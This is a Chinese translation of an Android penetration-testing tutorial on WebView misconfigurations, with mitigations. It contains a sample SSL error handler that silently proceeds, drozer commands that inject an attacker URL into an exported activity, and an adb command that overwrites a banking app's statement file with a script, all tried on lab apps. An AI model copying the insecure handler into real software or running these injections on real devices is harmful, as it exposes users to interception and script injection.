0x00 简介
远古时期,大家只用HTML显示Web页面。后来有了JavaScript,再后来又迎来了动态页面。于是乎,渐渐有一部分人认为在android应用中开放动态页面是个好想法,因此,WebView走进了大家的视野。但是正如安全人员毕生所得的经验那样,没有哪个新技术不是带着威胁降临的。本文就将讨论WebViews它们在Java中的实现、漏洞及其利用方式。在一个android应用中,WebView的错误配置会导致致命的web攻击,并且它的影响是无与伦比的。
0x01 概要
1.什么是WebView?
2.WebView实现产生的漏洞
3.漏洞示例
4.漏洞利用和防御措施
5.结论
0x02 什么是WebView?
WebView是一种视图,可显示现有android应用程序中的网页,而无需在外部浏览器中打开链接。android文件中有WebView的各种应用。例如:
-
广告
-
在本机app中呈现网页的博客类应用
-
某些网页形式的购物app
-
完成对网站的API身份验证
-
银行app通常使用WebView呈现报表
在本文的示例攻击场景中,我们将看到WebView如何呈现银行帐单以及如何对其进行攻击。
0x03 基于WebView的漏洞
示例是动态的,但总的来说,由于WebView的配置不当,可能存在以下漏洞
-
明文凭证嗅探
-
SSL错误处理不当
开发人员通常会忽略SSL错误。 这意味着该app容易受到MiTM攻击。例如下面的代码:
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler,
SslError error)
{
handler.proceed();
}
-
XSS——如果setJavaScriptEnabled()设置为true
-
RCE
-
API攻击
-
注入——如果WebView可以访问内容提供者(即app允许setAllowContent访问)
-
内部文件访问——如果setAllowUniversalAccessFromFileURLs设置为true
0x04 WebView如何实现
自从本系列(指作者写的android渗透系列文章)开始以来,我只谈论Java中的本机应用程序,因此WebView的实现将仅限于Java以及如何调整Android Studio Project文件。
Step 1:在项目中导入android.webkit.WebView和android.webkit.WebSettings,同时在活动文件中输入下面的代码:
webSettings.setJavaScriptEnabled(true);
这样做的目的是为了确保在调用WebView时javascript能成功运行,或者页面看上去不会像在普通浏览器上那样华而不实。
Step 2:然后,为了在app中实现WebView,我们需要在someActivity.java文件中添加如下代码:
WebView var = (WebView) findViewbyId(R.id.webview);
Step 3:接着,我们可以用loadUrl方法加载一个URL:
browser.loadUrl("https://hackingarticles.in");
Step 4:然后,我们需要在XML配置文件中定义这个view:
<WebView xmlns:android="http://schemas.android.com/apk/res/android"
android:id="@+id/webview"
android:layout\_width="fill\_parent"
android:layout\_height="fill\_parent"
/>
Step 5:最后,我们需要在声明文件中给它访问网络的权限:
<uses-permission android:name=”android.permission.INTERNET” />
现在需要注意的一个有趣的事情是如何使WebViews交互——在Step1中的代码中启用了Javascript。尽管这使Webviews能够正常运行,但随之而来的就可能是各种Web漏洞,例如Android中的XSS。
0x05 利用WebViews构造XSS
众所周知,HTML页面可以是远程的,也可以存储在内部存储器中。因此,WebViews既可以调用远程URL,也可以调用内部HTML页面。WebView实现中必须存在以下代码,应用程序才能启动远程和本地HTML页面: 1.外部URL访问:在声明文件中允许访问网络的权限。对于动态页面,SetJavaScriptEnabled()也应为true。
2.内部文件访问:setAllowFileAccess()可以切换为允许。如果声明文件具有读取外部存储器的权限,则它也可以轻松访问SD卡中存储的自定义HTML页面,所以这也是为什么如果不将setAllowFileAccess()设置为允许通常被视为危险的原因之一。
在这里,我编写了一个非常简单的android应用程序,该应用程序使用WebView通过单击按钮时触发的Intent来呈现黑客文章网站。你可以下载这个应用程序。
当单击该按钮时,您可以看到hackingarticles.in会呈现在WebView客户端上
现在,我们需要启动drozer代理并检查导出的Activity。要注意的是,如果Activity没被导出,则不能用Intent来调用它。
注:在这里,我们使用drozer来模拟一个具有代码的应用程序,该应用程序将使用Intent借助一个伪造的URL调用此Activity,从而利用该漏洞。
adb forward tcp:31415 tcp:31415
drozer console connect
run app.package.attacksurface com.example.webviewexample
run app.activity.info -a com.example.webviewexample
现在,我们可以看到正在导出WebViewActivity。然后我们反编译并查看源代码在activity之后运行,以便我们可以进行利用。
在MainActivity中,我们可以看到该按钮正在调用Intent。分解来看:
1.Intent intent = new Intent(Source Class, Destination Class); //源使用这样的intents调用目标类
2.intent.putExtra(KEY, VALUE); //这是在调用Intent时将传递到目标类的额外参数
注:键是值的引用变量(也就是我们刚刚输入的额外参数的名称),在这种情况下为“url1”,而url是包含“https://hackingarticles.in”的字符串
3.startActivity(intent)将调用目标类并开始Activity
我们看一下WebViewActivity并分解来看:
1.String url = getIntent().getStringExtra(“url1”); //这会将额外的参数(此处为url1)保存到新的字符串url中
2.setJavaScriptEnabled(true); //这将允许WebViews在我们的WebView中运行javascript。通常用于提供网站的全部功能,但可以被利用。
3.loadUrl(url); //此函数用于在WebView中加载URL。
现在,在这里的Drozer文章中,我们学习了如何构造包含extras的调用Intent的查询。因此,要借助drozer来利用WebView,我们输入以下命令:
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 https://google.com
该查询的作用是在调用WebViewActivity来启动我们提供的网站时,它会更改url1 KEY的初始值。
现在,攻击者所在的地方是钓鱼网站页面或其中包含一些恶意javascript代码的页面?例如,我在exploit.html中设置了一个简单的JS PoC,并将其托管在我的python服务器上。根据移动OWASP Top 10 2014(M7客户端注入),这可作为所有客户端注入攻击的PoC。
Exploit.html
<script>alert("hacking articles!")</script>
python3 -m http.server 80
剩下要做的就是将此HTML页面包含在我们刚刚进行的drozer查询中。
run app.activity.start --component com.example.webviewexample com.example.webviewexample.WebViewActivity --extra string url1 http://192.168.1.107/exploit.html
如图,我们利用了存在漏洞的WebView来执行XSS攻击!
缓解措施和最佳做法:在实践中可以针对以下缓解措施的思想编写代码,以实现安全的WebView:
1.验证正在WebView中加载的URLs
2.正确处理SSL/TLS错误,否则可能导致MiTM攻击
3.重写shouldOverrideUrlLoading方法
4.非必要情况,请禁用Javascript
5.避免使用JavaScriptInterface函数,因为它允许JS将Java对象注入代码中,攻击者可以使用WebViews加以利用。
0x06 使用XSS在WebView中访问内部文件
通常,一个文件在内部文件系统中被创建和销毁,并且其输出在WebView中呈现。这些应用程序对内存具有读/写访问权限,因此,攻击者可以诱导应用程序从该应用程序正在创建/使用的文件之一的位置执行其自定义代码。如果我们将javascript代码注入这些文件之一会发生什么?在这里,我们将使用由Dinesh Shetty创建的名为InsecureBankv2的应用程序(位于此处)。设置完应用程序后,您将看到如下页面:
确保AndroLabServer正在运行(首先安装依赖项,然后运行python app.py)。默认凭据是dinesh/Dinesh@123$
登录后,您会看到三个选项。首先,我将使用第一个选项转移一些资金。在这里,我将输入两个帐号和金额,仅此而已。在这之后,我将点击第二个选项View Statement。
单击“View Statement”选项后,我们看到正在打开的WebView显示如下内容:
在继续进行任何操作之前,我们首先将检查日志。它们展现了诸如Activity之类的东西,也许我们甚至可以看到帐号,资金或凭证,或其他一些有价值的信息!因此,我们输入以下命令:
adb logcat
弹出一些有趣的东西
在这里,我们看到一个名为ViewStatement的Activity正在从HTML文件中获取输入
存放在外部存储/storage/emulated/0下的Statements_dinesh.html
adb shell
cd storage/emulated/0 && ls
利用:因此,有可能的是,如果攻击者在受害设备中安装了对存储具有读/写访问权限的应用程序,则他可以更改HTML代码,可能在其中插入恶意代码,并在合法用户单击View Statement后立即执行。
让我们尝试如下调整Statements_dinesh.html:
adb shell
cd storage/emulated/0
echo "<html><body><script>alert("Hacking Articles!”)</script></body></html>" > Statements\_dinesh.html
我们单击View Statement,然后观察
如您所见,我们的自定义代码正在运行。但是如何?检查以下代码后,我们发现loadUrl()函数的实现不安全,该函数正在使用file://解析器访问内部文件。
更糟糕的是,JavaScript也已启用。
缓解措施:通常不建议通过file://URL加载内容。
setAllowFileAccess(boolean)可用于打开和关闭WebView对存储的访问。请注意,资产仍可以使用file://加载(如上),但是高度不安全。要解决此问题,请始终使用androidx.webkit.WebViewAssetLoader通过http(s)代替file://URL访问包含资产和资源的文件。
另外:Android中有一些称为CORS(Cross-Origin Resource Sharing,跨资源共享)的东西。基本上,它可以将android中的CORS配置为允许WebView访问不同的文件。例如,可以使用setAllowFileAccessFromFileURLs()方法通过URL调用file://。但这是不安全的,因为可以在file://中调用恶意脚本。如果您打开可能由外部来源创建或更改的文件,请不要启用此设置。
0x07 结论
这些攻击是在Android app中由于不安全使用名为WebView的类产生的Web攻击,该类使android应用程序可以使用嵌入式浏览器。通常配置不当可能会导致许多像移动应用程序中2017年OWASP Top 10和2016年OWASP Top 10的攻击,而且由于它具有高度动态性,因此它比任何其他的漏洞影响都更大。某些不适当的WebView配置甚至可能导致攻击者获取受害者设备上session。
==本文译自:https://www.hackingarticles.in/android-penetration-testing-webview-attacks/ 原作者:Harshit Rajpal 致敬所有对本文创作有贡献的人==